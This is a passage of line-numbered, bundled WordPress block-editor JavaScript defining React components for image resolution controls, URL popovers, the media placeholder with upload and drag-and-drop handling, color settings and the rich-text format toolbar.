59527 imageSizeOptions && imageSizeOptions.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59528 external_wp_components_namespaceObject.SelectControl,
59529 {
59530 __nextHasNoMarginBottom: true,
59531 label: (0,external_wp_i18n_namespaceObject.__)("Resolution"),
59532 value: slug,
59533 options: imageSizeOptions,
59534 onChange: onChangeImage,
59535 help: imageSizeHelp,
59536 size: "__unstable-large"
59537 }
59538 ),
59539 isResizable && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
59540 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { align: "baseline", spacing: "4", children: [
59541 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59542 external_wp_components_namespaceObject.__experimentalNumberControl,
59543 {
59544 label: (0,external_wp_i18n_namespaceObject.__)("Width"),
59545 value: currentWidth,
59546 min: 1,
59547 onChange: (value) => updateDimension("width", value),
59548 size: "__unstable-large"
59549 }
59550 ),
59551 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59552 external_wp_components_namespaceObject.__experimentalNumberControl,
59553 {
59554 label: (0,external_wp_i18n_namespaceObject.__)("Height"),
59555 value: currentHeight,
59556 min: 1,
59557 onChange: (value) => updateDimension("height", value),
59558 size: "__unstable-large"
59559 }
59560 )
59561 ] }),
59562 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59563 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
59564 {
59565 label: (0,external_wp_i18n_namespaceObject.__)("Image size presets"),
59566 hideLabelFromVision: true,
59567 onChange: handleUpdateDimensions,
59568 value: selectedValue,
59569 isBlock: true,
59570 __next40pxDefaultSize: true,
59571 __nextHasNoMarginBottom: true,
59572 children: IMAGE_SIZE_PRESETS.map((scale) => {
59573 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59574 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
59575 {
59576 value: scale,
59577 label: (0,external_wp_i18n_namespaceObject.sprintf)(
59578 /* translators: %d: Percentage value. */
59579 (0,external_wp_i18n_namespaceObject.__)("%d%%"),
59580 scale
59581 )
59582 },
59583 scale
59584 );
59585 })
59586 }
59587 )
59588 ] })
59589 ] });
59590}
59591
59592
59593;// ./node_modules/@wordpress/block-editor/build-module/components/url-popover/link-viewer-url.js
59594
59595
59596
59597
59598function LinkViewerURL({ url, urlLabel, className }) {
59599 const linkClassName = dist_clsx(
59600 className,
59601 "block-editor-url-popover__link-viewer-url"
59602 );
59603 if (!url) {
59604 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: linkClassName });
59605 }
59606 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { className: linkClassName, href: url, children: urlLabel || (0,external_wp_url_namespaceObject.filterURLForDisplay)((0,external_wp_url_namespaceObject.safeDecodeURI)(url)) });
59607}
59608
59609
59610;// ./node_modules/@wordpress/block-editor/build-module/components/url-popover/link-viewer.js
59611
59612
59613
59614
59615
59616
59617function LinkViewer({
59618 className,
59619 linkClassName,
59620 onEditLinkClick,
59621 url,
59622 urlLabel,
59623 ...props
59624}) {
59625 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
59626 "div",
59627 {
59628 className: dist_clsx(
59629 "block-editor-url-popover__link-viewer",
59630 className
59631 ),
59632 ...props,
59633 children: [
59634 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59635 LinkViewerURL,
59636 {
59637 url,
59638 urlLabel,
59639 className: linkClassName
59640 }
59641 ),
59642 onEditLinkClick && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59643 external_wp_components_namespaceObject.Button,
59644 {
59645 icon: pencil_default,
59646 label: (0,external_wp_i18n_namespaceObject.__)("Edit"),
59647 onClick: onEditLinkClick,
59648 size: "compact"
59649 }
59650 )
59651 ]
59652 }
59653 );
59654}
59655
59656
59657;// ./node_modules/@wordpress/block-editor/build-module/components/url-popover/link-editor.js
59658
59659
59660
59661
59662
59663
59664function LinkEditor({
59665 autocompleteRef,
59666 className,
59667 onChangeInputValue,
59668 value,
59669 ...props
59670}) {
59671 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
59672 "form",
59673 {
59674 className: dist_clsx(
59675 "block-editor-url-popover__link-editor",
59676 className
59677 ),
59678 ...props,
59679 children: [
59680 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59681 url_input_default,
59682 {
59683 value,
59684 onChange: onChangeInputValue,
59685 autocompleteRef
59686 }
59687 ),
59688 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59689 external_wp_components_namespaceObject.Button,
59690 {
59691 icon: keyboard_return_default,
59692 label: (0,external_wp_i18n_namespaceObject.__)("Apply"),
59693 type: "submit",
59694 size: "compact"
59695 }
59696 )
59697 ]
59698 }
59699 );
59700}
59701
59702
59703;// ./node_modules/@wordpress/block-editor/build-module/components/url-popover/index.js
59704
59705
59706
59707
59708
59709
59710
59711
59712
59713const { __experimentalPopoverLegacyPositionToPlacement } = unlock(
59714 external_wp_components_namespaceObject.privateApis
59715);
59716const DEFAULT_PLACEMENT = "bottom";
59717const URLPopover = (0,external_wp_element_namespaceObject.forwardRef)(
59718 ({
59719 additionalControls,
59720 children,
59721 renderSettings,
59722 // The DEFAULT_PLACEMENT value is assigned inside the function's body
59723 placement,
59724 focusOnMount = "firstElement",
59725 // Deprecated
59726 position,
59727 // Rest
59728 ...popoverProps
59729 }, ref) => {
59730 if (position !== void 0) {
59731 external_wp_deprecated_default()("`position` prop in wp.blockEditor.URLPopover", {
59732 since: "6.2",
59733 alternative: "`placement` prop"
59734 });
59735 }
59736 let computedPlacement;
59737 if (placement !== void 0) {
59738 computedPlacement = placement;
59739 } else if (position !== void 0) {
59740 computedPlacement = __experimentalPopoverLegacyPositionToPlacement(position);
59741 }
59742 computedPlacement = computedPlacement || DEFAULT_PLACEMENT;
59743 const [isSettingsExpanded, setIsSettingsExpanded] = (0,external_wp_element_namespaceObject.useState)(false);
59744 const showSettings = !!renderSettings && isSettingsExpanded;
59745 const toggleSettingsVisibility = () => {
59746 setIsSettingsExpanded(!isSettingsExpanded);
59747 };
59748 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
59749 external_wp_components_namespaceObject.Popover,
59750 {
59751 ref,
59752 role: "dialog",
59753 "aria-modal": "true",
59754 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Edit URL"),
59755 className: "block-editor-url-popover",
59756 focusOnMount,
59757 placement: computedPlacement,
59758 shift: true,
59759 variant: "toolbar",
59760 ...popoverProps,
59761 children: [
59762 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-url-popover__input-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-url-popover__row", children: [
59763 children,
59764 !!renderSettings && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59765 external_wp_components_namespaceObject.Button,
59766 {
59767 className: "block-editor-url-popover__settings-toggle",
59768 icon: chevron_down_default,
59769 label: (0,external_wp_i18n_namespaceObject.__)("Link settings"),
59770 onClick: toggleSettingsVisibility,
59771 "aria-expanded": isSettingsExpanded,
59772 size: "compact"
59773 }
59774 )
59775 ] }) }),
59776 showSettings && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-url-popover__settings", children: renderSettings() }),
59777 additionalControls && !showSettings && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-url-popover__additional-controls", children: additionalControls })
59778 ]
59779 }
59780 );
59781 }
59782);
59783URLPopover.LinkEditor = LinkEditor;
59784URLPopover.LinkViewer = LinkViewer;
59785var url_popover_default = URLPopover;
59786
59787
59788;// ./node_modules/@wordpress/block-editor/build-module/components/media-placeholder/index.js
59789
59790
59791
59792
59793
59794
59795
59796
59797
59798
59799
59800
59801
59802const media_placeholder_noop = () => {
59803};
59804const InsertFromURLPopover = ({
59805 src,
59806 onChange,
59807 onSubmit,
59808 onClose,
59809 popoverAnchor
59810}) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(url_popover_default, { anchor: popoverAnchor, onClose, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59811 "form",
59812 {
59813 className: "block-editor-media-placeholder__url-input-form",
59814 onSubmit,
59815 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59816 external_wp_components_namespaceObject.__experimentalInputControl,
59817 {
59818 __next40pxDefaultSize: true,
59819 label: (0,external_wp_i18n_namespaceObject.__)("URL"),
59820 type: "text",
59821 hideLabelFromVision: true,
59822 placeholder: (0,external_wp_i18n_namespaceObject.__)("Paste or type URL"),
59823 onChange,
59824 value: src,
59825 suffix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlSuffixWrapper, { variant: "control", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59826 external_wp_components_namespaceObject.Button,
59827 {
59828 size: "small",
59829 icon: keyboard_return_default,
59830 label: (0,external_wp_i18n_namespaceObject.__)("Apply"),
59831 type: "submit"
59832 }
59833 ) })
59834 }
59835 )
59836 }
59837) });
59838const URLSelectionUI = ({ src, onChangeSrc, onSelectURL }) => {
59839 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
59840 const [isURLInputVisible, setIsURLInputVisible] = (0,external_wp_element_namespaceObject.useState)(false);
59841 const openURLInput = () => {
59842 setIsURLInputVisible(true);
59843 };
59844 const closeURLInput = () => {
59845 setIsURLInputVisible(false);
59846 popoverAnchor?.focus();
59847 };
59848 const onSubmitSrc = (event) => {
59849 event.preventDefault();
59850 if (src && onSelectURL) {
59851 onSelectURL(src);
59852 closeURLInput();
59853 }
59854 };
59855 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-media-placeholder__url-input-container", children: [
59856 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59857 external_wp_components_namespaceObject.Button,
59858 {
59859 __next40pxDefaultSize: true,
59860 className: "block-editor-media-placeholder__button",
59861 onClick: openURLInput,
59862 isPressed: isURLInputVisible,
59863 variant: "secondary",
59864 "aria-haspopup": "dialog",
59865 ref: setPopoverAnchor,
59866 children: (0,external_wp_i18n_namespaceObject.__)("Insert from URL")
59867 }
59868 ),
59869 isURLInputVisible && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
59870 InsertFromURLPopover,
59871 {
59872 src,
59873 onChange: onChangeSrc,
59874 onSubmit: onSubmitSrc,
59875 onClose: closeURLInput,
59876 popoverAnchor
59877 }
59878 )
59879 ] });
59880};
59881function MediaPlaceholder({
59882 value = {},
59883 allowedTypes,
59884 className,
59885 icon,
59886 labels = {},
59887 mediaPreview,
59888 notices,
59889 isAppender,
59890 accept,
59891 addToGallery,
59892 multiple = false,
59893 handleUpload = true,
59894 disableDropZone,
59895 disableMediaButtons,
59896 onError,
59897 onSelect,
59898 onCancel,
59899 onSelectURL,
59900 onToggleFeaturedImage,
59901 onDoubleClick,
59902 onFilesPreUpload = media_placeholder_noop,
59903 onHTMLDrop: deprecatedOnHTMLDrop,
59904 children,
59905 mediaLibraryButton,
59906 placeholder,
59907 style
59908}) {
59909 if (deprecatedOnHTMLDrop) {
59910 external_wp_deprecated_default()("wp.blockEditor.MediaPlaceholder onHTMLDrop prop", {
59911 since: "6.2",
59912 version: "6.4"
59913 });
59914 }
59915 const mediaUpload = (0,external_wp_data_namespaceObject.useSelect)((select) => {
59916 const { getSettings } = select(store);
59917 return getSettings().mediaUpload;
59918 }, []);
59919 const [src, setSrc] = (0,external_wp_element_namespaceObject.useState)("");
59920 (0,external_wp_element_namespaceObject.useEffect)(() => {
59921 setSrc(value?.src ?? "");
59922 }, [value?.src]);
59923 const onlyAllowsImages = () => {
59924 if (!allowedTypes || allowedTypes.length === 0) {
59925 return false;
59926 }
59927 return allowedTypes.every(
59928 (allowedType) => allowedType === "image" || allowedType.startsWith("image/")
59929 );
59930 };
59931 const onFilesUpload = (files) => {
59932 if (!handleUpload || typeof handleUpload === "function" && !handleUpload(files)) {
59933 return onSelect(files);
59934 }
59935 onFilesPreUpload(files);
59936 let setMedia;
59937 if (multiple) {
59938 if (addToGallery) {
59939 let lastMediaPassed = [];
59940 setMedia = (newMedia) => {
59941 const filteredMedia = (value ?? []).filter((item) => {
59942 if (item.id) {
59943 return !lastMediaPassed.some(
59944 // Be sure to convert to number for comparison.
59945 ({ id }) => Number(id) === Number(item.id)
59946 );
59947 }
59948 return !lastMediaPassed.some(
59949 ({ urlSlug }) => item.url.includes(urlSlug)
59950 );
59951 });
59952 onSelect(filteredMedia.concat(newMedia));
59953 lastMediaPassed = newMedia.map((media) => {
59954 const cutOffIndex = media.url.lastIndexOf(".");
59955 const urlSlug = media.url.slice(0, cutOffIndex);
59956 return { id: media.id, urlSlug };
59957 });
59958 };
59959 } else {
59960 setMedia = onSelect;
59961 }
59962 } else {
59963 setMedia = ([media]) => onSelect(media);
59964 }
59965 mediaUpload({
59966 allowedTypes,
59967 filesList: files,
59968 onFileChange: setMedia,
59969 onError,
59970 multiple
59971 });
59972 };
59973 async function handleBlocksDrop(event) {
59974 const { blocks } = parseDropEvent(event);
59975 if (!blocks?.length) {
59976 return;
59977 }
59978 const uploadedMediaList = await Promise.all(
59979 blocks.map((block) => {
59980 const blockType = block.name.split("/")[1];
59981 if (block.attributes.id) {
59982 block.attributes.type = blockType;
59983 return block.attributes;
59984 }
59985 return new Promise((resolve, reject) => {
59986 window.fetch(block.attributes.url).then((response) => response.blob()).then(
59987 (blob) => mediaUpload({
59988 filesList: [blob],
59989 additionalData: {
59990 title: block.attributes.title,
59991 alt_text: block.attributes.alt,
59992 caption: block.attributes.caption,
59993 type: blockType
59994 },
59995 onFileChange: ([media]) => {
59996 if (media.id) {
59997 resolve(media);
59998 }
59999 },
60000 allowedTypes,
60001 onError: reject
60002 })
60003 ).catch(() => resolve(block.attributes.url));
60004 });
60005 })
60006 ).catch((err) => onError(err));
60007 if (!uploadedMediaList?.length) {
60008 return;
60009 }
60010 onSelect(multiple ? uploadedMediaList : uploadedMediaList[0]);
60011 }
60012 const onUpload = (event) => {
60013 onFilesUpload(event.target.files);
60014 };
60015 const defaultRenderPlaceholder = (content) => {
60016 let { instructions, title } = labels;
60017 if (!mediaUpload && !onSelectURL) {
60018 instructions = (0,external_wp_i18n_namespaceObject.__)(
60019 "To edit this block, you need permission to upload media."
60020 );
60021 }
60022 if (instructions === void 0 || title === void 0) {
60023 const typesAllowed = allowedTypes ?? [];
60024 const [firstAllowedType] = typesAllowed;
60025 const isOneType = 1 === typesAllowed.length;
60026 const isAudio = isOneType && "audio" === firstAllowedType;
60027 const isImage = isOneType && "image" === firstAllowedType;
60028 const isVideo = isOneType && "video" === firstAllowedType;
60029 if (instructions === void 0 && mediaUpload) {
60030 instructions = (0,external_wp_i18n_namespaceObject.__)(
60031 "Drag and drop an image or video, upload, or choose from your library."
60032 );
60033 if (isAudio) {
60034 instructions = (0,external_wp_i18n_namespaceObject.__)(
60035 "Drag and drop an audio file, upload, or choose from your library."
60036 );
60037 } else if (isImage) {
60038 instructions = (0,external_wp_i18n_namespaceObject.__)(
60039 "Drag and drop an image, upload, or choose from your library."
60040 );
60041 } else if (isVideo) {
60042 instructions = (0,external_wp_i18n_namespaceObject.__)(
60043 "Drag and drop a video, upload, or choose from your library."
60044 );
60045 }
60046 }
60047 if (title === void 0) {
60048 title = (0,external_wp_i18n_namespaceObject.__)("Media");
60049 if (isAudio) {
60050 title = (0,external_wp_i18n_namespaceObject.__)("Audio");
60051 } else if (isImage) {
60052 title = (0,external_wp_i18n_namespaceObject.__)("Image");
60053 } else if (isVideo) {
60054 title = (0,external_wp_i18n_namespaceObject.__)("Video");
60055 }
60056 }
60057 }
60058 const placeholderClassName = dist_clsx(
60059 "block-editor-media-placeholder",
60060 className,
60061 {
60062 "is-appender": isAppender
60063 }
60064 );
60065 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
60066 external_wp_components_namespaceObject.Placeholder,
60067 {
60068 icon,
60069 label: title,
60070 instructions,
60071 className: placeholderClassName,
60072 notices,
60073 onDoubleClick,
60074 preview: mediaPreview,
60075 style,
60076 children: [
60077 content,
60078 children
60079 ]
60080 }
60081 );
60082 };
60083 const renderPlaceholder = placeholder ?? defaultRenderPlaceholder;
60084 const renderDropZone = () => {
60085 if (disableDropZone) {
60086 return null;
60087 }
60088 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60089 external_wp_components_namespaceObject.DropZone,
60090 {
60091 onFilesDrop: onFilesUpload,
60092 onDrop: handleBlocksDrop,
60093 isEligible: (dataTransfer) => {
60094 const prefix = "wp-block:core/";
60095 const types = [];
60096 for (const type of dataTransfer.types) {
60097 if (type.startsWith(prefix)) {
60098 types.push(type.slice(prefix.length));
60099 }
60100 }
60101 return types.every(
60102 (type) => allowedTypes.includes(type)
60103 ) && (multiple ? true : types.length === 1);
60104 }
60105 }
60106 );
60107 };
60108 const renderCancelLink = () => {
60109 return onCancel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60110 external_wp_components_namespaceObject.Button,
60111 {
60112 __next40pxDefaultSize: true,
60113 className: "block-editor-media-placeholder__cancel-button",
60114 title: (0,external_wp_i18n_namespaceObject.__)("Cancel"),
60115 variant: "link",
60116 onClick: onCancel,
60117 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
60118 }
60119 );
60120 };
60121 const renderUrlSelectionUI = () => {
60122 return onSelectURL && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60123 URLSelectionUI,
60124 {
60125 src,
60126 onChangeSrc: setSrc,
60127 onSelectURL
60128 }
60129 );
60130 };
60131 const renderFeaturedImageToggle = () => {
60132 return onToggleFeaturedImage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-media-placeholder__url-input-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60133 external_wp_components_namespaceObject.Button,
60134 {
60135 __next40pxDefaultSize: true,
60136 className: "block-editor-media-placeholder__button",
60137 onClick: onToggleFeaturedImage,
60138 variant: "secondary",
60139 children: (0,external_wp_i18n_namespaceObject.__)("Use featured image")
60140 }
60141 ) });
60142 };
60143 const renderMediaUploadChecked = () => {
60144 const defaultButton = ({ open }) => {
60145 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60146 external_wp_components_namespaceObject.Button,
60147 {
60148 __next40pxDefaultSize: true,
60149 variant: "secondary",
60150 onClick: () => {
60151 open();
60152 },
60153 children: (0,external_wp_i18n_namespaceObject.__)("Media Library")
60154 }
60155 );
60156 };
60157 const libraryButton = mediaLibraryButton ?? defaultButton;
60158 const uploadMediaLibraryButton = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60159 media_upload_default,
60160 {
60161 addToGallery,
60162 gallery: multiple && onlyAllowsImages(),
60163 multiple,
60164 onSelect,
60165 allowedTypes,
60166 mode: "browse",
60167 value: Array.isArray(value) ? value.map(({ id }) => id) : value.id,
60168 render: libraryButton
60169 }
60170 );
60171 if (mediaUpload && isAppender) {
60172 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
60173 renderDropZone(),
60174 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60175 external_wp_components_namespaceObject.FormFileUpload,
60176 {
60177 onChange: onUpload,
60178 accept,
60179 multiple: !!multiple,
60180 render: ({ openFileDialog }) => {
60181 const content = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
60182 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60183 external_wp_components_namespaceObject.Button,
60184 {
60185 __next40pxDefaultSize: true,
60186 variant: "primary",
60187 className: dist_clsx(
60188 "block-editor-media-placeholder__button",
60189 "block-editor-media-placeholder__upload-button"
60190 ),
60191 onClick: openFileDialog,
60192 children: (0,external_wp_i18n_namespaceObject._x)("Upload", "verb")
60193 }
60194 ),
60195 uploadMediaLibraryButton,
60196 renderUrlSelectionUI(),
60197 renderFeaturedImageToggle(),
60198 renderCancelLink()
60199 ] });
60200 return renderPlaceholder(content);
60201 }
60202 }
60203 )
60204 ] });
60205 }
60206 if (mediaUpload) {
60207 const content = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
60208 renderDropZone(),
60209 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60210 external_wp_components_namespaceObject.FormFileUpload,
60211 {
60212 render: ({ openFileDialog }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60213 external_wp_components_namespaceObject.Button,
60214 {
60215 __next40pxDefaultSize: true,
60216 onClick: openFileDialog,
60217 variant: "primary",
60218 className: dist_clsx(
60219 "block-editor-media-placeholder__button",
60220 "block-editor-media-placeholder__upload-button"
60221 ),
60222 children: (0,external_wp_i18n_namespaceObject._x)("Upload", "verb")
60223 }
60224 ),
60225 onChange: onUpload,
60226 accept,
60227 multiple: !!multiple
60228 }
60229 ),
60230 uploadMediaLibraryButton,
60231 renderUrlSelectionUI(),
60232 renderFeaturedImageToggle(),
60233 renderCancelLink()
60234 ] });
60235 return renderPlaceholder(content);
60236 }
60237 return renderPlaceholder(uploadMediaLibraryButton);
60238 };
60239 if (disableMediaButtons) {
60240 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(check_default, { children: renderDropZone() });
60241 }
60242 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60243 check_default,
60244 {
60245 fallback: renderPlaceholder(renderUrlSelectionUI()),
60246 children: renderMediaUploadChecked()
60247 }
60248 );
60249}
60250var media_placeholder_default = (0,external_wp_components_namespaceObject.withFilters)("editor.MediaPlaceholder")(MediaPlaceholder);
60251
60252
60253;// ./node_modules/@wordpress/block-editor/build-module/components/panel-color-settings/index.js
60254
60255
60256const PanelColorSettings = ({ colorSettings, ...props }) => {
60257 const settings = colorSettings.map((setting) => {
60258 if (!setting) {
60259 return setting;
60260 }
60261 const { value, onChange, ...otherSettings } = setting;
60262 return {
60263 ...otherSettings,
60264 colorValue: value,
60265 onColorChange: onChange
60266 };
60267 });
60268 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60269 panel_color_gradient_settings_default,
60270 {
60271 settings,
60272 gradients: [],
60273 disableCustomGradients: true,
60274 ...props
60275 }
60276 );
60277};
60278var panel_color_settings_default = PanelColorSettings;
60279
60280
60281;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/format-toolbar/index.js
60282
60283
60284
60285
60286
60287
60288const format_toolbar_POPOVER_PROPS = {
60289 placement: "bottom-start"
60290};
60291const FormatToolbar = () => {
60292 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
60293 ["bold", "italic", "link", "unknown"].map((format) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60294 external_wp_components_namespaceObject.Slot,
60295 {
60296 name: `RichText.ToolbarControls.${format}`
60297 },
60298 format
60299 )),
60300 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Slot, { name: "RichText.ToolbarControls", children: (fills) => {
60301 if (!fills.length) {
60302 return null;
60303 }
60304 const allProps = fills.map(([{ props }]) => props);
60305 const hasActive = allProps.some(
60306 ({ isActive }) => isActive
60307 );
60308 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { children: (toggleProps) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60309 external_wp_components_namespaceObject.DropdownMenu,
60310 {
60311 icon: chevron_down_default,
60312 label: (0,external_wp_i18n_namespaceObject.__)("More"),
60313 toggleProps: {
60314 ...toggleProps,
60315 className: dist_clsx(
60316 toggleProps.className,
60317 { "is-pressed": hasActive }
60318 ),
60319 description: (0,external_wp_i18n_namespaceObject.__)(
60320 "Displays more block tools"
60321 )
60322 },
60323 controls: orderBy(
60324 fills.map(([{ props }]) => props),
60325 "title"
60326 ),
60327 popoverProps: format_toolbar_POPOVER_PROPS
60328 }
60329 ) });
60330 } })
60331 ] });
60332};
60333var format_toolbar_default = FormatToolbar;
60334
60335
60336;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/format-toolbar-container.js
60337
60338
60339
60340
60341
60342
60343function InlineToolbar({ popoverAnchor }) {
60344 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60345 external_wp_components_namespaceObject.Popover,
60346 {
60347 placement: "top",
60348 focusOnMount: false,
60349 anchor: popoverAnchor,
60350 className: "block-editor-rich-text__inline-format-toolbar",
60351 __unstableSlotName: "block-toolbar",
60352 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
60353 NavigableToolbar,
60354 {
60355 className: "block-editor-rich-text__inline-format-toolbar-group",
60356 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Format tools"),
60357 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(format_toolbar_default, {}) })
60358 }
60359 )
60360 }
60361 );
60362}
60363const FormatToolbarContainer = ({ inline, editableContentElement }) => {
60364 if (inline) {
60365 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(InlineToolbar, { popoverAnchor: editableContentElement });
60366 }
60367 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_controls_default, { group: "inline", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(format_toolbar_default, {}) });
60368};
60369var format_toolbar_container_default = FormatToolbarContainer;
60370
60371
60372;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/use-mark-persistent.js
60373
60374
60375
60376function useMarkPersistent({ html, value }) {
60377 const previousTextRef = (0,external_wp_element_namespaceObject.useRef)();
60378 const hasActiveFormats = !!value.activeFormats?.length;
60379 const { __unstableMarkLastChangeAsPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(store);
60380 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
60381 if (!previousTextRef.current) {
60382 previousTextRef.current = value.text;
60383 return;
60384 }
60385 if (previousTextRef.current !== value.text) {
60386 const timeout = window.setTimeout(() => {
60387 __unstableMarkLastChangeAsPersistent();
60388 }, 1e3);
60389 previousTextRef.current = value.text;
60390 return () => {
60391 window.clearTimeout(timeout);
60392 };
60393 }
60394 __unstableMarkLastChangeAsPersistent();
60395 }, [html, hasActiveFormats]);
60396}
60397
60398
60399;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/use-format-types.js
60400
60401
60402
60403function formatTypesSelector(select) {
60404 return select(external_wp_richText_namespaceObject.store).getFormatTypes();
60405}
60406const interactiveContentTags = /* @__PURE__ */ new Set([
60407 "a",
60408 "audio",
60409 "button",
60410 "details",
60411 "embed",
60412 "iframe",
60413 "input",
60414 "label",
60415 "select",
60416 "textarea",
60417 "video"
60418]);
60419function prefixSelectKeys(selected, prefix) {
60420 if (typeof selected !== "object") {
60421 return { [prefix]: selected };
60422 }
60423 return Object.fromEntries(
60424 Object.entries(selected).map(([key, value]) => [
60425 `${prefix}.${key}`,
60426 value
60427 ])
60428 );
60429}
60430function getPrefixedSelectKeys(selected, prefix) {
60431 if (selected[prefix]) {
60432 return selected[prefix];
60433 }
60434 return Object.keys(selected).filter((key) => key.startsWith(prefix + ".")).reduce((accumulator, key) => {
60435 accumulator[key.slice(prefix.length + 1)] = selected[key];
60436 return accumulator;
60437 }, {});
60438}
60439function useFormatTypes({
60440 clientId,
60441 identifier,
60442 withoutInteractiveFormatting,
60443 allowedFormats
60444}) {
60445 const allFormatTypes = (0,external_wp_data_namespaceObject.useSelect)(formatTypesSelector, []);
60446 const formatTypes = (0,external_wp_element_namespaceObject.useMemo)(() => {
60447 return allFormatTypes.filter(({ name, interactive, tagName }) => {
60448 if (allowedFormats && !allowedFormats.includes(name)) {
60449 return false;
60450 }
60451 if (withoutInteractiveFormatting && (interactive || interactiveContentTags.has(tagName))) {
60452 return false;
60453 }
60454 return true;
60455 });
60456 }, [allFormatTypes, allowedFormats, withoutInteractiveFormatting]);
60457 const keyedSelected = (0,external_wp_data_namespaceObject.useSelect)(
60458 (select) => formatTypes.reduce((accumulator, type) => {
60459 if (!type.__experimentalGetPropsForEditableTreePreparation) {
60460 return accumulator;
60461 }
60462 return {
60463 ...accumulator,
60464 ...prefixSelectKeys(
